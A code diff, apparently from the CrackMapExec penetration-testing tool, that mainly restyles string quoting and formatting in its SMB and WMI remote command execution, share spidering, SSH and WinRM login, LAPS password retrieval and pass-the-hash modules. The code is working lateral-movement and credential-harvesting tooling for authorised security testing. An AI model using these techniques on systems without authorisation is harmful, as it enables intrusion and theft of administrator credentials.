info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)
(username, uid, info_user) = (user["Name"], user["RelativeId"], info["Buffer"]["All"])
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}")
self.users.append(user["Name"])
samr.hSamrCloseHandle(dce, r["UserHandle"])
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
enumerationContext = resp["EnumerationContext"]
status = resp["ErrorCode"]
dce.disconnect()

View File

@ -86,31 +86,31 @@ class SMBEXEC:
def execute_remote(self, data):
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + '.bat'
self.__batchFile = gen_random_string(6) + ".bat"
if self.__retOutput:
command = self.__shell + 'echo '+ data + ' ^> \\\\127.0.0.1\\{}\\{} 2^>^&1 > %TEMP%\{} & %COMSPEC% /Q /c %TEMP%\{} & %COMSPEC% /Q /c del %TEMP%\{}'.format(self.__share_name, self.__output, self.__batchFile, self.__batchFile, self.__batchFile)
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\{self.__batchFile}"
else:
command = self.__shell + data
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug('Hosting batch file with command: ' + command)
self.logger.debug("Hosting batch file with command: " + command)
#command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
self.logger.debug('Command to execute: ' + command)
self.logger.debug("Command to execute: " + command)
self.logger.debug('Remote service {} created.'.format(self.__serviceName))
self.logger.debug(f"Remote service {self.__serviceName} created.")
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
service = resp['lpServiceHandle']
service = resp["lpServiceHandle"]
try:
self.logger.debug('Remote service {} started.'.format(self.__serviceName))
self.logger.debug(f"Remote service {self.__serviceName} started.")
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
self.logger.debug('Remote service {} deleted.'.format(self.__serviceName))
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output_remote()
@ -125,7 +125,7 @@ class SMBEXEC:
break
except Exception as e:
print(e)
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
if str(e).find("STATUS_SHARING_VIOLATION") >=0:
# Output not finished, let's wait
sleep(2)
pass
@ -137,42 +137,43 @@ class SMBEXEC:
def execute_fileless(self, data):
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + '.bat'
self.__batchFile = gen_random_string(6) + ".bat"
local_ip = self.__rpctransport.get_socket().getsockname()[0]
if self.__retOutput:
command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}"
else:
command = self.__shell + data
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug('Hosting batch file with command: ' + command)
self.logger.debug("Hosting batch file with command: " + command)
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
self.logger.debug('Command to execute: ' + command)
command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}"
self.logger.debug("Command to execute: " + command)
self.logger.debug('Remote service {} created.'.format(self.__serviceName))
self.logger.debug(f"Remote service {self.__serviceName} created.")
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
service = resp['lpServiceHandle']
service = resp["lpServiceHandle"]
try:
self.logger.debug('Remote service {} started.'.format(self.__serviceName))
self.logger.debug(f"Remote service {self.__serviceName} started.")
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
self.logger.debug('Remote service {} deleted.'.format(self.__serviceName))
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output_fileless()
def get_output_fileless(self):
if not self.__retOutput: return
if not self.__retOutput:
return
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'rb') as output:
with open(os.path.join("/tmp", "cme_hosted", self.__output), "rb") as output:
self.output_callback(output.read())
break
except IOError:
@ -185,9 +186,9 @@ class SMBEXEC:
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.__scHandle = resp["lpScHandle"]
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
service = resp["lpServiceHandle"]
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)

View File

@ -25,9 +25,9 @@ class SMBSpider:
def spider(self, share, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
if regex:
try:
self.regex = [re.compile(bytes(rx,'utf8')) for rx in regex]
self.regex = [re.compile(bytes(rx, "utf8")) for rx in regex]
except Exception as e:
self.logger.error('Regex compilation error: {}'.format(e))
self.logger.error(f"Regex compilation error: {e}")
self.folder = folder
self.pattern = pattern
@ -40,40 +40,40 @@ class SMBSpider:
permissions = []
try:
for share in self.smbconnection.listShares():
share_name = share['shi1_netname'][:-1]
share_remark = share['shi1_remark'][:-1]
share_name = share["shi1_netname"][:-1]
share_remark = share["shi1_remark"][:-1]
try:
self.smbconnection.listPath(share_name, '*')
self.smbconnection.listPath(share_name, "*")
self.share = share_name
self.logger.display("Spidering share: {0}".format(share_name))
self.logger.display(f"Spidering share: {share_name}")
self._spider(folder, depth)
except SessionError:
pass
except Exception as e:
self.logger.error('Error enumerating shares: {}'.format(e))
self.logger.error(f"Error enumerating shares: {e}")
else:
self.share = share
self.logger.display("Spidering {0}".format(folder))
self.logger.display(f"Spidering {folder}")
self._spider(folder, depth)
return self.results
def _spider(self, subfolder, depth):
"""
Abondon all hope ye who enter here.
Abandon all hope ye who enter here.
You're now probably wondering if I was drunk and/or high when writing this.
Getting this to work took a toll on my sanity. So yes. a lot.
"""
# The following is some funky shit that deals with the way impacket treats file paths
if subfolder in ['', '.']:
subfolder = '*'
if subfolder in ["", "."]:
subfolder = "*"
elif subfolder.startswith('*/'):
subfolder = subfolder[2:] + '/*'
elif subfolder.startswith("*/"):
subfolder = subfolder[2:] + "/*"
else:
subfolder = subfolder.replace('/*/', '/') + '/*'
subfolder = subfolder.replace("/*/", "/") + "/*"
# End of the funky shit... or is it? Surprise! This whole thing is funky
@ -85,48 +85,53 @@ class SMBSpider:
return
except SessionError as e:
if not filelist:
if 'STATUS_ACCESS_DENIED' not in str(e):
self.logger.debug("Failed listing files on share {} in directory {}: {}".format(self.share, subfolder, e))
if "STATUS_ACCESS_DENIED" not in str(e):
self.logger.debug(f"Failed listing files on share {self.share} in directory {subfolder}: {e}")
return
for result in filelist:
if result.is_directory() and result.get_longname() not in ['.','..']:
if subfolder == '*':
self._spider(subfolder.replace('*', '') + result.get_longname(), depth-1 if depth else None)
elif subfolder != '*' and (subfolder[:-2].split('/')[-1] not in self.exclude_dirs):
self._spider(subfolder.replace('*', '') + result.get_longname(), depth-1 if depth else None)
if result.is_directory() and result.get_longname() not in [".", ".."]:
if subfolder == "*":
self._spider(subfolder.replace("*", '') + result.get_longname(), depth - 1 if depth else None)
elif subfolder != "*" and (subfolder[:-2].split("/")[-1] not in self.exclude_dirs):
self._spider(subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None)
return
def dir_list(self, files, path):
path = path.replace('*', '')
path = path.replace("*", "")
for result in files:
if self.pattern:
for pattern in self.pattern:
if bytes(result.get_longname().lower(),'utf8').find(bytes(pattern.lower(),'utf8')) != -1:
if bytes(result.get_longname().lower(), "utf8").find(bytes(pattern.lower(), "utf8")) != -1:
if not self.onlyfiles and result.is_directory():
self.logger.highlight(u"//{}/{}/{}{} [dir]".format(self.smbconnection.getRemoteHost(), self.share,
path,
result.get_longname()))
self.logger.highlight(
f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]"
)
else:
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(self.smbconnection.getRemoteHost(), self.share,
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(
self.smbconnection.getRemoteHost(),
self.share,
path,
result.get_longname(),
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
result.get_filesize()))
self.results.append('{}{}'.format(path, result.get_longname()))
self.results.append(f"{path}{result.get_longname()}")
if self.regex:
for regex in self.regex:
if regex.findall(bytes(result.get_longname(), 'utf8')):
if not self.onlyfiles and result.is_directory():
self.logger.highlight(u"//{}/{}/{}{} [dir]".format(self.smbconnection.getRemoteHost(), self.share, path, result.get_longname()))
self.logger.highlight(
f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]"
)
else:
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(self.smbconnection.getRemoteHost(), self.share,
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format(
self.smbconnection.getRemoteHost(),
self.share,
path,
result.get_longname(),
'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
result.get_filesize()))
self.results.append('{}{}'.format(path, result.get_longname()))
self.results.append(f"{path}{result.get_longname()}")
if self.content:
if not result.is_directory():
@ -135,7 +140,7 @@ class SMBSpider:
return
def search_content(self, path, result):
path = path.replace('*', '')
path = path.replace("*", '')
try:
rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.share, access=FILE_READ_DATA)
rfile.open()
@ -146,7 +151,7 @@ class SMBSpider:
if not contents:
break
except SessionError as e:
if 'STATUS_END_OF_FILE' in str(e):
if "STATUS_END_OF_FILE" in str(e):
break
except Exception:
@ -154,8 +159,9 @@ class SMBSpider:
break
if self.pattern:
for pattern in self.pattern:
if contents.lower().find(bytes(pattern.lower(),'utf8')) != -1:
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.smbconnection.getRemoteHost(),
if contents.lower().find(bytes(pattern.lower(), "utf8")) != -1:
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(
self.smbconnection.getRemoteHost(),
self.share,
path,
result.get_longname(),
@ -163,11 +169,12 @@ class SMBSpider:
result.get_filesize(),
rfile.tell(),
pattern))
self.results.append('{}{}'.format(path, result.get_longname()))
self.results.append(f"{path}{result.get_longname()}")
if self.regex:
for regex in self.regex:
if regex.findall(contents):
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.smbconnection.getRemoteHost(),
self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(
self.smbconnection.getRemoteHost(),
self.share,
path,
result.get_longname(),
@ -175,13 +182,13 @@ class SMBSpider:
result.get_filesize(),
rfile.tell(),
regex.pattern))
self.results.append('{}{}'.format(path, result.get_longname()))
self.results.append(f"{path}{result.get_longname()}")
rfile.close()
return
except SessionError as e:
if 'STATUS_SHARING_VIOLATION' in str(e):
if "STATUS_SHARING_VIOLATION" in str(e):
pass
except Exception:
@ -190,7 +197,7 @@ class SMBSpider:
def get_lastm_time(self, result_obj):
lastm_time = None
try:
lastm_time = strftime('%Y-%m-%d %H:%M', localtime(result_obj.get_mtime_epoch()))
lastm_time = strftime("%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch()))
except Exception:
pass

View File

@ -78,22 +78,22 @@ class WMIEXEC:
def execute_handler(self, data):
if self.__retOutput:
try:
self.logger.debug('Executing remote')
self.logger.debug("Executing remote")
self.execute_remote(data)
except:
self.cd('\\')
self.cd("\\")
self.execute_remote(data)
else:
self.execute_remote(data)
def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
self.__output = "\\Windows\\Temp\\" + gen_random_string(6)
command = self.__shell + data
if self.__retOutput:
command += ' 1> ' + '%s' % self.__output + ' 2>&1'
command += " 1> " + f"{self.__output}" + " 2>&1"
self.logger.debug('Executing command: ' + command)
self.logger.debug("Executing command: " + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_remote()
@ -101,16 +101,16 @@ class WMIEXEC:
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
command = self.__shell + data + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1"
self.logger.debug('Executing command: ' + command)
self.logger.debug("Executing command: " + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_fileless()
def get_output_fileless(self):
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output:
self.output_callback(output.read())
break
except IOError:
@ -126,7 +126,7 @@ class WMIEXEC:
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
if str(e).find("STATUS_SHARING_VIOLATION") >=0:
# Output not finished, let's wait
sleep(2)
pass

View File

@ -60,8 +60,8 @@ class ssh(connection):
self.conn.close()
def check_if_admin(self):
stdin, stdout, stderr = self.conn.exec_command('id')
if stdout.read().decode('utf-8').find('uid=0(root)') != -1:
stdin, stdout, stderr = self.conn.exec_command("id")
if stdout.read().decode("utf-8").find("uid=0(root)") != -1:
self.admin_privs = True
def plaintext_login(self, username, password):
@ -90,21 +90,17 @@ class ssh(connection):
self.check_if_admin()
self.logger.success(
u'{}:{} {}'.format(
u"{}:{} {}".format(
username,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
)
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.error(
u'{}:{} {}'.format(
username,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e
)
f"{username}:{password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {e}"
)
self.client_close()
return False
@ -113,8 +109,8 @@ class ssh(connection):
try:
stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
except AttributeError:
return ''
self.logger.success('Executed command')
return ""
self.logger.success("Executed command")
for line in stdout:
self.logger.highlight(line.strip())

View File

@ -80,26 +80,22 @@ class winrm(connection):
# smb no open, specify the domain
if self.args.domain:
self.domain = self.args.domain
self.logger.extra['hostname'] = self.hostname
self.logger.extra["hostname"] = self.hostname
else:
try:
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
try:
smb_conn.login('', '')
smb_conn.login("", "")
except SessionError as e:
pass
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
self.logger.extra["hostname"] = self.hostname
self.output_filename = os.path.expanduser(
'~/.cme/logs/{}_{}_{}'.format(
self.hostname,
self.host,
datetime.now().strftime("%Y-%m-%d_%H%M%S")
)
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
try:
@ -107,7 +103,7 @@ class winrm(connection):
except:
pass
except Exception as e:
self.logger.error("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
self.logger.error(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
if self.args.domain:
self.domain = self.args.domain
@ -116,32 +112,30 @@ class winrm(connection):
self.domain = self.hostname
if self.server_os is None:
self.server_os = ''
self.server_os = ""
if self.domain is None:
self.domain = ''
self.domain = ""
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(
self.hostname,
self.host,
datetime.now().strftime("%Y-%m-%d_%H%M%S")
))
self.output_filename = os.path.expanduser(
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
self.output_filename = self.output_filename.replace(":", "-")
def laps_search(self, username, password, ntlm_hash, domain):
ldap_conn = LDAPConnect(self.domain, "389", self.domain)
login = ldap_conn.plaintext_login(
domain,
username[0] if username else '',
password[0] if password else '',
ntlm_hash[0] if ntlm_hash else ''
username[0] if username else "",
password[0] if password else "",
ntlm_hash[0] if ntlm_hash else ""
)
if not login:
self.logger.debug(f"LAPS login failed with account {username}")
return False
search_filter = f"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='{self.hostname}))"
attributes = ['ms-MCS-AdmPwd', 'samAccountname']
attributes = ["ms-MCS-AdmPwd", "samAccountname"]
result = login.search(
searchFilter=search_filter,
attributes=attributes,
@ -153,41 +147,41 @@ class winrm(connection):
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for host in item['attributes']:
if str(host['type']) == "sAMAccountName":
sAMAccountName = str(host['vals'][0])
for host in item["attributes"]:
if str(host["type"]) == "sAMAccountName":
sAMAccountName = str(host["vals"][0])
else:
msMCSAdmPwd = str(host['vals'][0])
self.logger.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
msMCSAdmPwd = str(host["vals"][0])
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
self.username = self.args.laps
self.password = msMCSAdmPwd
if msMCSAdmPwd == '':
self.logger.debug('msMCSAdmPwd is empty, account cannot read LAPS property for {}'.format(self.hostname))
self.logger.debug(f"msMCSAdmPwd is empty, account cannot read LAPS property for {self.hostname}")
return False
if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
self.hash = binascii.hexlify(hash_ntlm).decode()
self.domain = self.hostname
return True
def print_host_info(self):
if self.args.domain:
self.logger.extra['protocol'] = "HTTP"
self.logger.extra["protocol"] = "HTTP"
self.logger.display(self.endpoint)
else:
self.logger.extra['protocol'] = "SMB"
self.logger.display(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain))
self.logger.extra['protocol'] = "HTTP"
self.logger.extra["protocol"] = "SMB"
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
self.logger.extra["protocol"] = "HTTP"
self.logger.display(self.endpoint)
self.logger.extra['protocol'] = "WINRM"
self.logger.extra["protocol"] = "WINRM"
if self.args.laps:
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
return True
def create_conn_obj(self):
endpoints = [
'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
f"https://{self.host}:{self.args.port if self.args.port else 5986}/wsman",
f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman"
]
for url in endpoints:
@ -223,7 +217,7 @@ class winrm(connection):
self.conn = Client(
self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, self.username),
username=f"{domain}\\{self.username}",
password=self.password,
ssl=True,
cert_validation=False
@ -232,7 +226,7 @@ class winrm(connection):
self.conn = Client(
self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, self.username),
username=f'{domain}\\{self.username}',
password=self.password,
ssl=True
)
@ -240,7 +234,7 @@ class winrm(connection):
self.conn = Client(
self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, self.username),
username=f'{domain}\\{self.username}',
password=self.password,
ssl=False
)
@ -250,12 +244,7 @@ class winrm(connection):
self.conn.execute_ps("hostname")
self.admin_privs = True
self.logger.success(
u'{}\\{}:{} {}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
)
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@ -266,7 +255,7 @@ class winrm(connection):
if self.admin_privs:
self.logger.debug(f"Inside admin privs")
self.db.add_admin_user('plaintext', domain, self.username, self.password, self.host) # , user_id=user_id)
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
@ -275,20 +264,11 @@ class winrm(connection):
except Exception as e:
if "with ntlm" in str(e):
self.logger.error(
u'{}\\{}:{}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8
)
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}"
)
else:
self.logger.error(
u'{}\\{}:{} "{}"'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
e
)
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\""
)
return False
@ -320,7 +300,7 @@ class winrm(connection):
self.conn = Client(
self.host,
auth='ntlm',
username=u'{}\\{}'.format(self.domain, self.username),
username=f"{self.domain}\\{self.username}",
password=lmhash + nthash,
ssl=True,
cert_validation=False
@ -329,7 +309,7 @@ class winrm(connection):
self.conn = Client(
self.host,
auth='ntlm',
username=u'{}\\{}'.format(self.domain, self.username),
username=f"{self.domain}\\{self.username}",
password=lmhash + nthash,
ssl=True
)
@ -337,7 +317,7 @@ class winrm(connection):
self.conn = Client(
self.host,
auth='ntlm',
username=u'{}\\{}'.format(self.domain, self.username),
username=f"{self.domain}\\{self.username}",
password=lmhash + nthash,
ssl=False
)
@ -347,17 +327,12 @@ class winrm(connection):
self.conn.execute_ps("hostname")
self.admin_privs = True
self.logger.success(
u'{}\\{}:{} {}'.format(
self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
)
)
self.db.add_credential('hash', domain, self.username, nthash)
self.db.add_credential("hash", domain, self.username, nthash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, self.username, nthash, self.host)
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
@ -367,20 +342,11 @@ class winrm(connection):
except Exception as e:
if "with ntlm" in str(e):
self.logger.error(
u'{}\\{}:{}'.format(
self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8
)
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}"
)
else:
self.logger.error(
u'{}\\{}:{} "{}"'.format(
self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e
)
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\""
)
return False
@ -388,9 +354,11 @@ class winrm(connection):
try:
r = self.conn.execute_cmd(self.args.execute)
except:
self.logger.info('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !')
self.logger.info(
"Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !"
)
r = self.conn.execute_ps(self.args.execute)
self.logger.success('Executed command')
self.logger.success("Executed command")
self.logger.highlight(r[0])
def ps_execute(self, payload=None, get_output=False):

View File

@ -44,7 +44,7 @@ class RequestHandler(BaseHTTPRequestHandler):
class CMEServer(threading.Thread):
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
def __init__(self, module, context, logger, srv_host, port, server_type="https"):
try:
threading.Thread.__init__(self)
@ -52,8 +52,8 @@ class CMEServer(threading.Thread):
self.server.hosts = []
self.server.module = module
self.server.context = context
self.server.log = CMEAdapter(extra={'module_name': self.server.module.name.upper()})
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
self.server.log = CMEAdapter(extra={"module_name": self.server.module.name.upper()})
self.cert_path = os.path.join(os.path.expanduser("~/.cme"), "cme.pem")
self.server.track_host = self.track_host
logger.debug('CME server type: ' + server_type)
@ -63,9 +63,11 @@ class CMEServer(threading.Thread):
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
logger.error(
"Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port"
)
else:
logger.error('Error starting HTTP(S) server: {}'.format(message))
logger.error(f"Error starting HTTP(S) server: {message}")
sys.exit(1)
@ -84,7 +86,7 @@ class CMEServer(threading.Thread):
def shutdown(self):
try:
while len(self.server.hosts) > 0:
self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
self.server.log.info(f"Waiting on {highlight(len(self.server.hosts))} host(s)")
sleep(15)
except KeyboardInterrupt:
pass

View File

@ -8,7 +8,7 @@ from impacket import smbserver
class CMESMBServer(threading.Thread):
def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False):
def __init__(self, logger, share_name, share_path="/tmp/cme_hosted", listen_address="0.0.0.0", listen_port=445, verbose=False):
try:
threading.Thread.__init__(self)
self.server = smbserver.SimpleSMBServer(listen_address, listen_port)
@ -19,9 +19,9 @@ class CMESMBServer(threading.Thread):
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting SMB server on port 445: the port is already in use')
logger.error("Error starting SMB server on port 445: the port is already in use")
else:
logger.error('Error starting SMB server on port 445: {}'.format(message))
logger.error(f"Error starting SMB server on port 445: {message}")
exit(1)
def addShare(self, share_name, share_path):